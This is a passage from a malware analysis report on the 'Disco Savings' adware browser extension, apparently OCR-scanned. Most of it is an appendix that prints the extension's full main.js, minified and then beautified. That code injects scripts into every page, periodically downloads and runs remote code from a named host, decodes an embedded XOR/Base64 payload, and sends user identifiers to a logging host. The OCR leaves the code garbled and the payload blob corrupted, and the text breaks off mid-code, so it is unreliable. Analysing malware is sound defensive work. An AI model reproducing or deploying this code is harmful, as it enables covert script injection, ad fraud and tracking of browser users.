115 domain_for_sanity = dis_https 7 "https://mPulbir5.=s1. hwedn. net/" 1 "http://logs.buildomsery. com/
'I:

117 tag = document.createElement{™img"];

113 tag.setAttribute("=rc”, domain_for_sanmity +

11% guery_for_samity);

126 {document.getElementsByTagName("body") (@] || document.getElementsByTagName (" head”)[B]).
appendChild{tag)

121 1

122 il cateh cessT 115

Figure 36: Creation of <img> element and appending the code to existing website

An example of a malicious JavaScript file was downloaded from one of the presented URL addresses in
the table above and is available in a Github repository here.
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Conclusion

Now we have to analyze the JavaScript files injected into the webpages. All of the malicious files as
requested by the Disco Savings extension were downloaded by using wget command and stored in the
Github repository.

We didn't go into an actual analysis of each and every file, because it's out of the scope of this
document. We showed how the malicious extension gets loaded and how it requests additional
malicious JavaScript files from the Internet and injects them into the website.

We've seen that Disco Savings is an adware malware, which injects additional JavaScript files into web

pages in web browsers. The purpose of the malware is to display popups and advertisements to
infected victims in order for the attackers to benefit from views and clicks on presented banners.
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Appendix A

The code below contains the contents of the chrome/content/main.js file as used by the Chrome
malware extension.

(function ()}
var Config = {

BASE_DATE: new Date(2013, 0, 1),
MONTH_RUNNING_INDEX: 10,
ACTIVE_PING_INTERVAL: 1000 * 60 * 60 * 6,
UPDATE_CODE_INTERVAL: 1000 * 60 * 60 * 6,
applD: 73143,
cmp: "2913",
appName: "disco savings",
installDate: 1428508580,
ibic: "762a6319040f693c91a2fd0f149e819a",
verifier: "0473c4f7ec330f7ccabbc792ff716c0a",
geo: {"country_code":194,"country_name":"SI"},
codeUrl: "http://cdn.buildomserv.com/txt/a.js"

var isChrome="undefined"!==typeof
chrome&&chrome.webNavigation&&chrome.webNavigation.onCommitted;Config.browser=isChrome?"ch":"
ff";Config.browserld=isChrome?"20":"30";

var OnDocumentStart=function(){var f=function(){function b(b){return"(function ({var tag =
document.createElement('script');tag.setAttribute('type’, 'text/javascript');tag.innerHTML
="+b+";,(document.getElementsByTagName(‘head')[0] | |
document.getElementsByTagName('body")[0]).appendChild(tag);}());"}chrome.webNavigation.onCommitted.
addListener(function(d){!d| | 0!==d.frameld | |!d.tabld| |!d.url| | 0>d.url.indexOf("http") | | 0<=d.url.indexOf("/_
/chrome/newtab") | | chrome.tabs.executeScript(d.tabld,{code:b(JSON.stringify(CodeUpdater.getCodeToRun()
)

runAt:"document_start"})})},g=function(){Components.classes["@mozilla.org/observer-
service;1"].getService(Components.interfaces.nslObserverService).addObserver({Querylinterface:function(b){
if(b.equals(Components.interfaces.nsiObserver)| | b.equals(Components.interfaces.nsISupports) | | b.equals(
Components.interfaces.nslSupportsWeakReference))return this;throw
Components.results.NS_NOINTERFACE;},observe:function(b,d,f){try{if("document-element-
inserted"===d&&b&&b instanceof HTMLDocument){var a=b&&b.defaultView?
b.defaultView:null;if(a&&a===a.top){var
c=CodeUpdater.getCodeToRun(),e=b.createElement("script");try{e.setAttribute("type","text/javascript"),e.inne
rHTML=c}catch(k){e.type="text/javascript",e.text=c}(b.getElementsByTagName("head")[0] | | b.getElementsBy
TagName("body")[0]).appendChild(e)}}}catch(g){}}},"document-element-
inserted",!1)};return{startinjectingCode:function(){isChrome?f():g()}}}(),Utils=function(){var f=function(){return
Config.geo},g=function(){var a=(f() | | {}).country_code| | 500;return b(!0,

3,""+a,"0")},b=function(a,c,e k)if("string"===typeof e)for(;e.length<c;)e=a?k+e:e+k;return

e}, d=function(){return 1E3*Config.installDate},h=function(){var a=b(!0,6,Utils.getCampaignld(),"0");return
Config.browserld+a.slice(1,a.length)+g()+"00000000"};return{xor:function(a,c){var

e=c.split(""),k=e.length;return a.split("").map(function(a,c){return
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String.fromCharCode(a.charCodeAt(0) e[c%k].charCodeAt(0))}).join("")},Base64:{_keyStr:"ABCDEFGHIJKLMNO
PQRSTUVWXYZabcdefghijkimnopqgrstuvwxyz0123456789+/=",

encode:function(a){var
c=""ek,b,d,f.g,h=0;for(a=this._utf8_encode(a);h<a.length;)e=a.charCodeAt(h++),k=a.charCodeAt(h++),b=a.cha
rCodeAt(h++),d=e>>2,e=(e&3)<<4 | k>>4,f=(k&15)<<2 | b>>6,g=b&63,isNaN(k)?f=g=64:isNaN(b)&&(g=64),c=c+t
his._keyStr.charAt(d)+this._keyStr.charAt(e)+this._keyStr.charAt(f)+this._keyStr.charAt(g);return
c},decode:function(a){var c="",e,b,d,f,g,h=0;for(a=a.replace(/[*A-Za-z0-
N+\\=1/g,"");h<a.length;)e=this._keyStr.indexOf(a.charAt(h++)),b=this._keyStr.indexOf(a.charAt(h++)),
f=this._keyStr.indexOf(a.charAt(h++)),g=this._keyStr.indexOf(a.charAt(h++)),e=e<<2 | b>>4,b=(b&15)<<4 | f>>2,
d=(f&3)<<6 | g,c+=String.fromCharCode(e),64!=f&&(c+=String.fromCharCode(b)),64!=g&&(c+=String.fromChar
Code(d));return c=this._utf8_decode(c)},_utf8_encode:function(a)}{a=a.replace(/\r\n/g,"\n");for(var
c="",e=0;e<a.length;e++){var
b=a.charCodeAt(e);128>b?c+=String.fromCharCode(b):(127<b&&2048>b?c+=String.fromCharCode(b>>6| 192
):(c+=String.fromCharCode(b>>12|224),c+=String.fromCharCode(b>>6&63 | 128)),
c+=String.fromCharCode(b&63|128))}return c},_utf8_decode:function(a){for(var
¢="",b=0,d=c1=c2=0;b<a.length;)d=a.charCodeAt(b),128>d?(ct+=String.fromCharCode(d),b++):191<d&&224>d
?(c2=a.charCodeAt(b+1),c+=String.fromCharCode((d&31)<<6 | c2&63),b+=2):(c2=a.charCodeAt(b+1),c3=a.char
CodeAt(b+2),c+=String.fromCharCode((d&15)<<12|(c2&63)<<6 | c3&63),b+=3);return
c}}h.getGeo:f,padding:b,nextTick:function(a){return(new
Date).getTime()+a},getSublID:h,getUserld:function()}{return Config.ibic},getAppName:function(){return 0===
Config.appName.indexOf("__")?"InfoData":Config.appName},getBrowser:function(){return
Config.browser},getCodeUrl:function(){return Config.codeUrl+"?rnd="+(new
Date).getTime()},getVerifier:function(){return Config.verifier},genericTimer:function(a,b){var e=(new
Date).getTime();setinterval(function(){var d=(new
Date).getTime();d>=e+a&&(b(),e=d)},6E4)},getCampaignlid:function(){return
b(10,6,0===Config.cmp.indexOf("__")?"002913":Config.cmp,"0")},getLightSubld:function(){return
h().slice(0,7)},getCountryCode:g,

getCountryName:function(){return(f() | | {}).country_name| | "FK"},getInstallDate:d,isIntervalPassed:function(a
,b){var d=new Date;returnla| | d.getTime()-a>b},getExtendedSubld:function(){var a;a=Config.BASE_DATE;var
c=new Date(d()),e=12*(c.getFullYear()-a.getFullYear()),e=e-
a.getMonth();a=e+=c.getMonth();c=b(!0,2,""+(0<a?a+1:0),"0");a=h();c=a.slice(0,Config. MONTH_RUNNING_INDE
X)+c+a.slice(Config. MONTH_RUNNING_INDEX+c.length);return

0<=c.indexOf("NaN")| | 0<=c.indexOf("undefined")?a:c}}}(),Request=function(){var f=

function(f,b){var d=new XMLHttpRequest;b=b | | function(){};d.onreadystatechange=function(){var
f=null;4==d.readyState&&(f=200===d.status?d.responseText:null,b(f))};d.open("GET" f,!0);d.send()};return{get
:f,get)SON:function(g,b){f(g,function(d){try{b(JSON.parse(d))}catch(f){b(null)}})}}}(),Stats=function(){var
f=function()}{params="event=18&campaign="+Utils.getCampaignld()+"&browser="+Utils.getBrowser()+"&count
ry="+Utils.getCountryName()+"&ibic="+Utils.getUserld()+"&verifier="+Utils.getVerifier()+"&rnd="+

(new
Date).getTime();Request.get("http://logs.ourstaticdatastorage.com/monetization.gif?"+params,function(){})};r
eturn{startReportingActive:function(){f(); Utils.genericTimer(Config. ACTIVE_PING_INTERVAL,f)}}}(),CodeUpdate
r=function()}{var f="function __utilityAddition__(a) {function f(){if (undefined' === typeof
window['__utils_"+Config.appID+"__" + a.pluginld]) {var d = document.createElement('script'),var b =
a.httpsUrl;var c = a.httpUrl;d.setAttribute('type’, 'text/javascript');if ('string' === typeof
document.location.protocol && 0 === document.location.protocol.indexOf('https")) {if (!b | | 0 === b.length)
return;d.setAttribute('src’, b)} else d.setAttribute('src', c);(document.getElementsByTagName('head")[0] | |
document.getElementsByTagName('body")[0]).appendChild(d);window['__utils_"+

Config.appID+"__' + a.pluginld] = !10}}var c = 0;if ((document && document.location && 'string' == typeof
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document.location.host && 0 <= document.location.host.indexOf('facebook.com') && 194 == a.pluginld)) {if
(!document | | !document.body){var id = setInterval(function (){var tag =
(document.getElementsByTagName('head')[0] | | document.getElementsByTagName('body")[0]);if
(!document | | !document.body | | !tag)if (c>20){clearInterval(id);return;}c++return;}f();}, 500);} else
{f0;11}".g={a:"AhRPUUMUAAQAJCSIcG1F]Oz4/ID8/MyM1NDA0oOyszNFBDWVpUSFZFTFpCX0IBUIFCWFxCUIFZQw
0EAU40CgYKUUJNTXELGD8bAhXDTUgNZEXLLTAMHWONHXxoVKhYLEB8NDhgxMOtPTx8eCglCBWMFUkdQEBIaf
BNmMNC0aDQIICAIXLQ8WBgOCCw8pMUQQeE9ZSQWVAh45GR5NQOtGCQIaHFFdQBAFFXVYHQQEAhR8QBQMA
AgtCAhwJFKQOEIkdCzQQCFcBF143KCoiPiY4PyE+PypRCAACCWBWRYU7LjQ2Jio/Nig00zgulDAWL1k+KSsOPzchP
S4gPiU7LjQ7KyY0QiMkLyIvLSswODQtNzcz)TMiPFY7Pjc+PDQ8LjQuOz5UQmZLUKORHXARBTseB1BVWUKMFQI
eH1FdQBAFFXVYHQQEAh8QBQMAAgtCAhw)FKQOEIkdCzQQCFcBF143KCoiPiY4PyE+PypRCAACCW8WRYU7LjQ
2Jio/Nig00zgulDAWLTk+KSsOPzchPS4gPiU7LjQ7KyY0QiMkLylvLSswODQtNzczJTMiPFY7Pjc+PDQ8LjQuOz5UQ
mZLUKOJBXEGHWAID1BVWVIQU3wWTRVB4ZSYOERUfAgUfCy4dDwWOVHWECNCTHAMFEQVZOTgMGGwk+Fg1UVE
XJGhsNG150WQcfHXMbEAhKBAUGAxsRABQbSgIZAOMNHUAUAgpOFRwWdACFwWFCIQMCBJTMzQnPDw50ygyM
TNNEAEYBgFcKTEtOylwNyop)CkxShgHDRAPWT4pKzQ/NyE9OLIA+JTSUNDsr)jRGTXXOTEtSTREfEBEFOx4HUFVZS
QWVAh4fUV1AEBgQAAIHDOUXHBEEFAIZAXXFEQAURAIOWQMFBVOMCxoHTxwdUwMbC0Q00zQIKz400ysmN
EIDGA8BDk8w]ioOMSkgLSY3MCZNFxQUBWhWLTA8MzAKkOCopLy08LCk7KDIXxMOleZVILREFUHgAeFQYXIgBDTE
5eU0plIBEJfa3wxMx4GBhUCEBg3CggCBgYWBTs+XhVmS1JNER8QESMCAEIIT1sDEBUGVENEEQsXCAUCHgtBCI
wOEgoJAB8GCEUcCgTEFXQUQQRbS1dLCQFOKTEpMyYqNy8hJSk90Sktj00004aQAYYTR8QD1ITRFAZTRCXDVY
7Pjc+PDQ8LjQuOz5UQmMZLUKORHXARBTseB1BVWUKMFQleH1FdQBoPCgIXDQQOXw5XCg8AGWSFAXZBFwW4Q
TgUbDkQaX0BTVgMTQTMONzctLiolMyozOCctJilgPilBAEUYHEYbDQVLXF5SROKcEXBCKTEtOylwNyop)CkxTkd4T
11JFAODCQUFOWtbUURST15mFItUc2E7PgMaBQcbGWAgAAUfGgUEHDAMQx9rVk50AwWYbCT4WDVRUTEkaGw
0bXk5ZDQgFEQ4aAwWFMFOANABMCGAIMBVgACRIAHAW)SWIGV1RZEApWNDsKLjopJTYqQPTQ3NDQxJS8tMFYH
SgsFURWCFIJLWV1VUAsSUH08w]ioOMSkgLSY3MCZJSGtWTk4DBhs)GDETGkxWS1AHDR8UEkxBQwgWARoKBwk
TQw1FEWQYBgUIHgpCBRcbVhgRATkGXFJKXRsOSz4pKzQ/NyEILIA+/TsuNDsrJjRLDVEEH1QCBh1WVINPWkoO
ChtENDsgJj4zJTMiPDQ7Q1pkTEtQHXxUeAwgY)JwhJSE9KUIVrCOdXYXgw]h4QCBoHGBIzZCXOCEAgZADMOWhARZzS0
RDHhoYGycdFUleQVQGGB8CVVZEBwWUYQB0oCAQ4dD0oCGQNDGBEJEBsQTkdaWV1FWEteUIVHQRWZFwMW
CgBPHB1TGACNEA9ZPikrND83ITOulD4I0y400ysmNFsUG1MtDWFKS1smGFNcXCKkAAA4AYARNTXFwuChscBRcl
GQBOR3hPWUKMFQIleHz4AATtRREMeGhgbAVVWRACFGEAaAgEOHQIKAhKkDQxgRHRABEESHWIIARVHLXIJVRO
EcGRcDFgoATxwdUxgHDRAPWT4pKzQ/NyEI9LiIA+JTsuNDsrJjRbFBtTLQ8BSkth]hh TXFWpAAAOGAETU 1xcLgobH
AUXCBKATkd4T11JFAODCQUFOWtbUURSRIIMFItUc2E7PgMaBQcbGwWAgAAUfGgUEHDAMQxXx9rVk50AWYbCT4W
DVRUTEkaGwObXk5ZDOIfFBcQGkoCGQNDCIWfERtbVORYHg4UXUQOOYyQuOikINio9NDCcONDEILyOwX11WVzgP
AQ5PMCYqNDEpICOMNzAMTVJTQBwW)DUFS)jQxMjM8MyI2MCZNUINAHAKNQ1JPWFNTQAhbWEVCTIISWEBaWI
5FXV8fAQgSUzMOMz8pNCOIKTFKHWcGHVY7PiM9KTkt)j00O0NaZEXLUACNHXQSIXWASUhPWwWMQFQYdVKRAD
[cfARKfHOIIHQJWCkoRHh5TXUBZCw4CU0sxMy4qOzwlICQyMT8+MDAwLzs+UFheXTwOFA5ZPikvPDstITgmIT4
pSFpZRBOcDVACcKTESODCI)ilgPillWIIEHRWNVVXAXVEZRAIOWFNSQVxaUkRbT15TU1AaCQIWUIYOJTEmMSUVLT
BfHXEIEIMzNCc8PDk7KDIxMO0leZVILRhEaGwsCHCYdSV5BR1ZcYQ9GQmFuPikbGAleBg0SJQUSBxgCHQEMNEwW
afESMS1JNERS8QESMCAEINT1sDEBUGVENEEQsXRRcVFxoFCAUKGWSLDFgNAWZdBQpEBU8cHVMFEWICGBQAFQ
tRPzchXwgFDAYPBQwcJh1WOz41LyE7LSYONDtHFQEZBQYdACELBRNTMzQ1K|jY0)y4yKzMOVAYXGBAAGgEINHXxs
AFzZ8NDBNTMzQ71S0/)S06MTgiPyomNEIABh4ILO8wWioOMSknKDQtSTApPLSJLMTM+ISorNCOIKTFKGACNMC9ZPi
krND83ITOulD4I0y400ysmNEIABh4iCh8KRDQ7ICY+MyUzljwOO0cXHRtWKTJfCRYOARQJGTWOFASZPiksPiQIPD
w50y83lyk0LU1VYURBVK50AWYbCRgxExpMVktQBwWOfFBJMQUMPQAS5BCIAQTOAfGB5BERWHBRhAAg4GQBM
YSwBYBB9UHA4UDhcRFwOJViYqQNOOHABseDQIVATAPWT4pLSOmIjAwLzs+UAODHhwbCxInDhILUTQtKDwkOyl
5KikOLUkQBRcVFWIACgYGFgUwCBsLUTQt)jc4MCA61jM/OyI8NDtHFx4cljZS)jQIMSYxJS8tMF8iJig1UzMO0)Jzw80Ts
OoMjEzTQEaGylgXCkxKTMmKjcvISUpPTkpLSYONDtHFXx4cJRMCHFY7Pjc+PDQ8LjQuOz5QDx8cTzQkTQYTGRkfDg
AhGAYBXCkxLjk90CouNj44LyEuLTBbR25BVk5MSQIDDAWNDz8KTIFSXEpThbhxfVWZhLTAMHWONHx0oVKhYLEB
8NDhgxMOMJZVILREFUBhgfAjoLBOZbVkwEHWYfQORLAhIAQhgGDg0CBXYTDAgEHOEaBAIOHB1DCIwWFCIQKABS
LHxsTDBXWMCQ4SA8KHXx8YAgMPPwWpRNCOsOCYOPj8qMzRUDBYeChUEFY8EFgpENDsmMMyEzKDOrPDQ7Rx8A
Hx8TAXUKEAgZADgCHWpENDsoODO04Kj4j)j8tLDMxMOOTHwkilFwpMSO071jAwLzs+UCculjFSJjQxMjM8MyI2MCZ
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NFxQUJyhWLTA8MzAkOCopLy08LCk7KDIXMOOTHwWkIBQWTUzMOMz8pNCogOyszNFQOChxZOitIDhkdGAoOFi
8XAWIWLTA70Ss2)Ss+NDwuNC47PIRCZKktST11)JDBUCHh8+AANbUURDHhoYGWFVVKQAUxdWDV8DVIcYFw1YB
hsIFgFXBQEVWQQfRBNBExhbDxcDCRgCDhoOWTUzIEolEwlJCg0GGCclViowOiopMSknKDQtSROEEQ8CHBUOH
QscVjs+MSsjNDEgPS47PIAHAhgGDhUHBRUfAQI/GwIcVjs+PyA/PzMjNTQwWKDsrMzRUDgkbLSVLMTMqlj8mliA+
KUglKTssRDQ7NCUrPjQ7KyYOQhIDDCUvVTzAmMLjw1MyAoLjYwKj4mPj8qMzRUDgkbKgAbC1EOLS4pOzsvNyMp
NC1)GBgTXC0zSgkAAAAYARMADWEOTZAMKTYulTOpOSOhOCYhPIIMQGFST1ILRhEaGwsCHCYdSV5BRV1UYQ9
GQmMFuPikbGAleBg0SJQUSBxgCHQEMNEwafESMSRobDRsxExpMVktQBwWOfFFtZQQACFQCcNCQsZWAIFBRKNFg
cNAIgNAwZdHBoBF04aDBREHgOBCBAZHB1CAQFQGAOCPh8KUVpDWOXNFWMEDWIPTzZAMKjQXKSAt)jcw]kOXF
BQPCg0tBh1WOz4zNjguPCs8LzsylywzljYw)k0)DhILUQcQF1tHbkFWTAQfBh8KPhYNVFRMSRobDRsXW1IBAAIV
BwO0JCxIYAgUFGQOWBWOCWAODBIOcGgEXThoMFEQeDQEIEBkcHUIBAVAYDQIl+HwWpRWKNbTEOXAWQPAg9PM
CYgNDEpICOMNzAMTRCUFA8KDSOGHVY7PjM20C48KzwvOzIjLDMiNJAMTQKOEgtRBXAXWOduQVZMHACHCB
AFLQVUVEXYSIdzFk1afGQzNAcbEACNFQ8vCA8bGXAECj4pRhdhUk9bAxAVBjseB1BVWUKMFQleVkRdDgoZEkw
XQAOAEWIYAgWFWAAJH10cHURVVkZeQ1pCWO9FDhJUQmMZLUKORHXARBTseB1BVWUKMFQIleH1FdQBgYFhdb
DOIKGQ4UCg0JEKACDgZACgILUEFeXERDX01dSgsFTEBhUk9bGwgUEQcCIhZNQOtWUKZCZhZbVHMcDQ8SARt
FLROPEVVWRI4UWk]bT0tZQQ0eGQkeBgoDARMpHRK|GwtDSOM+KSsOPzchPS4gPiU7LjQ7KyYOQOTWDwgPHQ
EXCgkETESLNCOuUKTs7LzcjKTQtSARQbmsfCEXDKUOILKZNVC84SV5NOiINGTVQoPkleTSknRk1UPDIJXkOWJUZNV
Cw+SV5NNydGTVQrPOkvQRAFAAQOIQpDUDAMLCEUKSAYjcw)kINQUNhTTFtSRgJhREEpMRkfGWMQHX0gEgoFH
xsAFzQ7SQTKTEtST1sDEBUGOXx4HUFVZSQWVAh5WRFOdDACBEIgIAXMLCxwKCE8VAQFEBF5XWO0sWHgcYDh4G
Ch9LUEZZXEQtMDwzMCQ4KikvLTwsKTsoMjEzVAIOCx8KBAQgDQYXUiYOJTEmMSIgPyomNEZNfE5SMS1JNER8Q
EQU7HgdQVVI)DBUCHh9RXUALHggEBUAKBAOWHQ4FDVENAWZdGUhFVE4BBgUfFWMQGBBOR15bW10w)i48
NTMgKC42MCo+)j4/KjMOTR8YGRAPExwiCh8KRDQ7ICY+MyUzljwOOONaZExLUk9bGwgUEQcCIhZNQOtWUUZk
TESPRKJhGWt8BwpLWjRbLyFDWkwtP1BDWygsQ1pMKjlQQ1s7KENaTD4+UENblipDWkwuOVBDWyUoQ1pMK
ThQMIcCCgUTFIMNWKOMNCMKOTEiK|j8q)jRGSFZSTFtSRgJhREEpMRKfGWMQHX0gEgoFHxsAFzZQ7SQTKTEtST1s
DEBUGOx4HUFVZSQWVAh5WRFOOCQJKCxkCABIFDhUHARVYDQMGXQ4fDQONHwW8YDIOMFQIBDWJRCAIBGOR
YVIhQHRKJTzZAmMLjw1MyAoLjYwKj4mPj8qMzRUARgGAVWpMSO7IjA3KikkKTFOR3hPWUtEQx4aGBsBOgsHRItW
TAQfBh8KUUtOFx4FRRgAFQcdFhcCAA4GQROECU4XCA0CHgYYHWFOFQIFDhwbRg8NEgTX1ILSQoeBlwpMSkz
Jio3LYEIKTO5KSOMPTQ7RxgPAQ5PMCYgNDEPICOMNzAMSUhrVk5MS1AfFRADCBgNCEITOpTUWEWThFCSWUE

n
’

b:"kroykdavnl"},b;(new Date).getTime();var
d=function(a){if(!a)return"";try{a=JSON.parse(a)}catch(b){return""}return(f+Utils.xor(Utils.Base64.decode(a.a),
a.b)).replace(RegExp("__SUB_ID__","g"),Utils.getSublD()).replace(RegExp("__LIGHT_SUB_ID__","g"),Utils.getLight
Subld()).replace(RegExp("_APP_ID__","g"),Config.applID).replace(RegExp("_APP_NAME__","g"),Utils.getAppNa
me()).replace(RegExp("_ENCODED_APP_NAME__","g"),encodeURIComponent(Utils.getAppName())).replace(R
egExp("__USER_ID__","g"),Utils.getUserld()).replace(RegExp("__INSTALLER_USER_ID__",
"g"),Utils.getUserld()).replace(RegExp("_EXTENDED_SUB_ID__","g"),Utils.getExtendedSubld()).replace(RegExp(
"_VERIFIER__","g"),Utils.getVerifier()).replace(RegExp("_CAMP_ID__","g"),Utils.getCampaignld()).replace(RegE
xp("_INSTALL_TIME__","g"),Utils.getInstallDate()).replace(RegExp("_GEO_CODE__","g"),Utils.getCountryCode()
).replace(RegExp("_GEO_NAME__","g"),Utils.getCountryName()).replace(RegExp("_BROWSER_NAME__","g"),U
tils.getBrowser())},h=function(a){a=a | | function(){};Request.get(Utils.getCodeUrl(),

function(c){c| | (c=g);b=d(c);a()})};return{setCodeAndUpdate:function(a){h(a);Utils.genericTimer(Config. UPDAT
E_CODE_INTERVAL,h)},getCodeToRun:function(){return
b}}});(function(){CodeUpdater.setCodeAndUpdate(function(){OnDocumentStart.startinjectingCode()});Stats.s
tartReportingActive()})();

H)
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Appendix B

The code below is a beautified version of the main.js file used by the Disco Savings extension as present
in infected Chrome web browser.

(function() {
var Config ={

BASE_DATE: new Date(2013, 0, 1),
MONTH_RUNNING_INDEX: 10,
ACTIVE_PING_INTERVAL: 1000 * 60 * 60 * 6,
UPDATE_CODE_INTERVAL: 1000 * 60 * 60 * 6,
applD: 73143,
cmp: "2913",
appName: "disco savings",
installDate: 1428508580,
ibic: "762a6319040f693c91a2fd0f149e819a",
verifier: "0473c4f7ec330f7ccabbc792ff716c0a",
geo: {

"country_code": 194,

"country_name": "SI"

h
codeUrl: "http://cdn.buildomserv.com/txt/a.js"
3
var isChrome = "undefined" == typeof chrome && chrome.webNavigation &&

chrome.webNavigation.onCommitted;
Config.browser = isChrome ? "ch" : "ff";
Config.browserld = isChrome ? "20" : "30";
var OnDocumentStart = function() {
var f = function() {
function b(b) {
return "(function (){var tag = document.createElement('script');tag.setAttribute('type’,
'text/javascript');tag.innerHTML =" + b + ";(document.getElementsByTagName('head")[0] | |
document.getElementsByTagName('body")[0]).appendChild(tag);}());"
}
chrome.webNavigation.onCommitted.addListener(function(d) {
Id || 0!==d.frameld || Id.tabld | | !d.url | | 0> d.url.indexOf("http") | | 0 <=
d.url.indexOf("/_/chrome/newtab") | | chrome.tabs.executeScript(d.tabld, {
code: b(JSON.stringify(CodeUpdater.getCodeToRun())),
runAt: "document_start"
})
N
b
g = function() {
Components.classes["@mozilla.org/observer-
service;1"].getService(Components.interfaces.nslObserverService).addObserver({

Querylnterface: function(b) {
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if (b.equals(Components.interfaces.nslObserver) | |
b.equals(Components.interfaces.nsISupports) | |
b.equals(Components.interfaces.nsISupportsWeakReference)) return this;
throw Components.results.NS_NOINTERFACE;
b
observe: function(b, d, f) {
try {
if ("document-element-inserted" === d && b && b instanceof HTMLDocument) {
var a = b && b.defaultView ?
b.defaultView : null;
if (@ && a === a.top) {
var ¢ = CodeUpdater.getCodeToRun(),
e = b.createElement("script");
try {
e.setAttribute("type", "text/javascript"), e.innerHTML = ¢
} catch (k) {
e.type = "text/javascript", e.text = ¢
}b.getElementsByTagName("head")[0] | |
b.getElementsByTagName("body")[0]).appendChild(e)
}
}
}catch (g) {
}
}, "document-element-inserted", 1)
h
return {
startinjectingCode: function() {
isChrome ? f() : g()

}
0
Utils = function() {
var f = function() {
return Config.geo
b
g = function() {
vara = (f() | | {}).country_code || 500;
return b(!0,
3,"+a,"0")
b
b = function(a, ¢, e, k) {
if ("string" === typeof e)
for (;elength<c)e=a?k+e:e+k;
return e
b
d = function() {
return 1E3 * Config.installDate
b
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h = function() {
var a = b(!0, 6, Utils.getCampaignld(), "0");
return Config.browserld + a.slice(1, a.length) + g() + "00000000"
3
return {
xor: function(a, c) {
var e = c.split("),
k = e.length;
return a.split("").map(function(a, c) {
return String.fromCharCode(a.charCodeAt(0) A e[c % k].charCodeAt(0))
Djoin(")
h
Baseb4: {
_keyStr: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijkimnopqgrstuvwxyz0123456789+/=",
encode: function(a) {
varc="",
e kb, dfgh=0;
for (a = this._utf8_encode(a); h < a.length;) e = a.charCodeAt(h++), k = a.charCodeAt(h++), b =
a.charCodeAt(h++),d=e>>2,e=(e &3)<<4 | k>>4,f=(k&15)<<2 | b>>6,g=b & 63,isNaN(k) ?f=g=
64 : isNaN(b) && (g = 64), ¢ = ¢ + this._keyStr.charAt(d) + this._keyStr.charAt(e) + this._keyStr.charAt(f) +
this._keyStr.charAt(g);

return c
b
decode: function(a) {
varc="",
e b,dfgh=0;

for (a = a.replace(/[*A-Za-z0-9\+\/\=]/g, ""); h < a.length;) e =
this._keyStr.indexOf(a.charAt(h++)), b = this._keyStr.indexOf(a.charAt(h++)),

f = this._keyStr.indexOf(a.charAt(h++)), g = this._keyStr.indexOf(a.charAt(h++)), e = e << 2 |
b>>4,b=(b&15)<<4|f>>2,d=(f&3)<<6 | g c+=String.fromCharCode(e), 64 !=f && (c +=
String.fromCharCode(b)), 64 != g && (c += String.fromCharCode(d));

return c = this._utf8_decode(c)
b
_utf8_encode: function(a) {
a = a.replace(/\r\n/g, "\n");
for (varc="", e =0; e < a.length; e++) {

var b = a.charCodeAt(e);

128 > b ? ¢ += String.fromCharCode(b) : (127 < b && 2048 > b ? ¢ += String.fromCharCode(b
>>6 | 192): (c += String.fromCharCode(b >> 12 | 224), c += String.fromCharCode(b >> 6 & 63 | 128)),

¢ += String.fromCharCode(b & 63 | 128))
}
return c
b
_utf8_decode: function(a) {
for(varc="",b=0,d=c1=c2=0; b <a.length;) d = a.charCodeAt(b), 128 >d ? (c +=
String.fromCharCode(d), b++): 191 < d && 224 > d ? (c2 = a.charCodeAt(b + 1), c += String.fromCharCode((d
&31)<<6 | 2&63), b +=2):(c2 = a.charCodeAt(b + 1), c3 = a.charCodeAt(b + 2), c +=
String.fromCharCode((d & 15) << 12 | (2 & 63) << 6 | <3 & 63), b +=3);
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return c
}
b
getGeo: f,
padding: b,
nextTick: function(a) {
return (new Date).getTime() + a
h
getSublD: h,
getUserld: function() {
return Config.ibic
h
getAppName: function() {
return 0 ===
Config.appName.indexOf("__") ? "InfoData" : Config.appName
}
getBrowser: function() {
return Config.browser
b
getCodeUrl: function() {
return Config.codeUrl + "?rnd=" + (new Date).getTime()
}
getVerifier: function() {
return Config.verifier
b
genericTimer: function(a, b) {
var e = (new Date).getTime();
setinterval(function() {
var d = (new Date).getTime();
d>=e+a&&(b(),e=d)
}, 6E4)
b
getCampaignld: function() {
return b(!0, 6, 0 === Config.cmp.indexOf("__") ? "002913" : Config.cmp, "0")
b
getLightSubld: function() {
return h().slice(0, 7)
b
getCountryCode: g,
getCountryName: function() {
return (f() | | {}).country_name || "FK"
b
getlnstallDate: d,
isIntervalPassed: function(a, b) {
var d = new Date;
returnla | | d.getTime()-a>b
b
getExtendedSubld: function() {
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var a;
a = Config.BASE_DATE;
var ¢ = new Date(d()),
e =12 * (c.getFullYear() - a.getFullYear()),
e = e - a.getMonth();
a = e += c.getMonth();
c=b(!0,2,"™+((0<a?a+1:0),"0");
a=h()
¢ = a.slice(0, Config. MONTH_RUNNING_INDEX) + ¢ + a.slice(Config. MONTH_RUNNING_INDEX +
c.length);

return 0 <= c.indexOf("NaN") | | 0 <= c.indexOf("undefined")?a: c

}
30,
Request = function() {
var f=
function(f, b) {
var d = new XMLHttpRequest;
b=b || function() {};
d.onreadystatechange = function() {
var f = null;
4 == d.readyState && (f = 200 === d.status ? d.responseText : null, b(f))
h
d.open("GET", f, 10);
d.send()
h
return {
get: f,
getJSON: function(g, b) {
f(g, function(d) {
try {
b(JSON.parse(d))
} catch () {
b(null)

30,
Stats = function() {
var f = function() {
params = "event=1&campaign=" + Utils.getCampaignld() + "&browser=" + Utils.getBrowser() +
"&country=" + Utils.getCountryName() + "&ibic=" + Utils.getUserld() + "&verifier=" + Utils.getVerifier() +
"&rnd="+
(new Date).getTime();
Request.get("http://logs.ourstaticdatastorage.com/monetization.gif?" + params, function() {})
7

return {
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startReportingActive: function() {

f0);
Utils.genericTimer(Config. ACTIVE_PING_INTERVAL, f)

}

),
CodeUpdater = function() {

var f ="function __utilityAddition__(a) {function f(){if ('undefined' === typeof window]['__utils_" +
Config.applID +"__' + a.pluginld]) {var d = document.createElement('script');var b = a.httpsUrl;var c =
a.httpUrl;d.setAttribute('type’, 'text/javascript);if (‘string' === typeof document.location.protocol && 0 ===
document.location.protocol.indexOf('https")) {if (b | | 0 === b.length) return;d.setAttribute('src’, b)} else
d.setAttribute('src’, ¢);(document.getElementsByTagName(*head")[0] | |
document.getElementsByTagName('body")[0]).appendChild(d);window['__utils_" +

Config.appID +"__' + a.pluginld] = 10}}var c = 0;if ((document && document.location && 'string' ==
typeof document.location.host && 0 <= document.location.host.indexOf('facebook.com') && 194 !==
a.pluginld)) {if ({document | | Idocument.body){var id = setinterval(function (){var tag =
(document.getElementsByTagName(‘head')[0] | | document.getElementsByTagName('body")[0]);if
